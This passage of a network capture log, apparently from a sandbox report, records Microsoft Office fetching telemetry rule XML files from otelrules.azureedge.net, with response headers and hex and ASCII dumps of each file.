2024-12-08 09:48:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:04 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a85144f8-201e-0033-7f03-48b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094804Z-r1cf579d778dc6d7hC1EWR2vs800000005r0000000001aka x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:05 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.8	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:04 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:04 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 8a7a9c83-801e-0078-4106-48bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094804Z-r1cf579d778kr8xrhC1EWRfkun00000005c0000000003ew6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:05 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.8	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:06 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:07 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 49b561ed-d01e-0065-2706-48b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094807Z-r1cf579d778t6txphC1EWRsd4400000005hg000000000yvg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:07 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.8	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:06 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:07 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 32ce5259-b01e-003e-4804-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094807Z-r1cf579d778d5zkmhC1EWRk6h800000005h000000000108v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:07 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.8	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:06 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:07 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 1ccbfaf0-201e-0003-3306-48f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094807Z-r1cf579d7788pwqzhC1EWRrpd80000000590000000001ngu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:07 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.8	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:06 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:07 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 44286e75-701e-0032-5705-48a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094807Z-r1cf579d778g2t6ghC1EWRfggs00000004fg000000000zy1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:07 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.8	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:06 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:07 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 8eb9891a-501e-005b-7103-48d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094807Z-r1cf579d778lntp7hC1EWR9gg400000004dg000000002msm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:07 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.8	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:09 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:09 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 83446ce3-101e-0046-0a10-4891b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094809Z-r1cf579d778t6txphC1EWRsd4400000005gg000000001ndn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:09 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.8	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:09 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:09 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: fc2f82a1-a01e-006f-4f06-4813cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094809Z-r1cf579d778qlpkrhC1EWRpfc800000005n0000000002z56 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:09 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.8	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:09 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:09 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 1ec3a3fb-701e-0001-7303-48b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094809Z-r1cf579d778x776bhC1EWRdk800000000530000000000tmw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:09 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.8	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:09 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:09 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: e2bfbc9d-f01e-0085-0f03-4888ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094809Z-r1cf579d778lntp7hC1EWR9gg400000004bg000000003zum x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:09 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.8	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:09 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:09 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 42c4dea6-f01e-0099-6c03-489171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094809Z-r1cf579d778mvsklhC1EWRkavg000000058g000000002bvx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:09 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" 